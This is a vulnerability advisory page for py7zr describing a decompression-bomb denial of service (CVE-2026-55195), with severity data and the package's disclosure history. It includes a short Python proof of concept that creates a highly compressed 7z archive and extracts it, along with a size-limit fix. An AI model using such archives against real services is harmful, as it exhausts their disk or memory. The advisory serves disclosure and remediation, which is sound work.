Medium

py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size

Disclosed: 19.06.2026
Updated: 11.10.2026 14:17

py7zr's Worker.decompress() extracts archive entries without tracking total decompressed size. A crafted .7z file can exhaust disk or memory before the extraction completes.

Measured: 15.6 KB archive → 100 MB output (6,556:1 ratio).

Proof of concept:

python

import py7zr, tempfile, os

# create bomb: compress 100MB of zeros into ~15KB
bomb_path = tempfile.mktemp(suffix='.7z')
with py7zr.SevenZipFile(bomb_path, 'w') as z:
    import io
    z.writef(io.BytesIO(b'\x00' * 100 * 1024 * 1024), 'bomb.bin')

print(f'archive size: {os.path.getsize(bomb_path):,} bytes')

# extract — no size check
with py7zr.SevenZipFile(bomb_path, 'r') as z:
    z.extractall(path=tempfile.mkdtemp())

print('extracted 100 MB from ~15 KB archive')

Root cause: Worker.decompress() in py7zr/worker.py writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python's zipfile max_size parameter.

Fix: track cumulative decompressed bytes and raise before writing if a limit is exceeded:

python

MAX_EXTRACT_SIZE = 2 * 1024 ** 3  # 2 GB default, configurable

total = 0
for chunk in decompressed_chunks:
    total += len(chunk)
    if total > MAX_EXTRACT_SIZE:
        raise py7zr.exceptions.DecompressionBombError(
            f'Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes'
        )
    outfile.write(chunk)

Tested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.

Affected software

Click a technology to see all vulnerabilities affecting it.

Platform	Package	Vulnerable versions	Fixed in
Python (PyPI)	py7zr	< 1.1.3	1.1.3

References

CVSS score -

CVSS vector: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Weakness (CWE): CWE-409
Platform: Python (PyPI)
Package: py7zr
Disclosed: 19.06.2026
Updated: 11.10.2026 14:17

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-2972 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-gjrg-mpp7-g774 - CC BY 4.0

Vulnerability history: py7zr

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries: 4
First → latest: 12.2022 06.2026
Without a fix: 0
Exploited in attacks: 0

Severity breakdown

Critical 1
High 1
Medium 2

Disclosures per year

2022: 1
2023: 0
2024: 0
2025: 0
2026: 3

19.06.2026

py7zr: O(n^2) algorithmic complexity DoS in PackInfo._read()

Medium CVE-2026-55206 < 1.1.3 1.1.3
19.06.2026

py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size this entry

Medium CVE-2026-55195 < 1.1.3 1.1.3
19.06.2026

py7zr: Arbitrary File Write Vulnerability

High · 8.0 CVE-2026-23879 < 1.1.3 1.1.3
06.12.2022

A directory traversal vulnerability in the SevenZipFile.extractall() function of the python library py7zr v0.20.0 and earlier allows attackers to write arbitrary files via extracting a crafted 7z file

Critical · 9.1 CVE-2022-44900 < 0.20.1 0.20.1

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application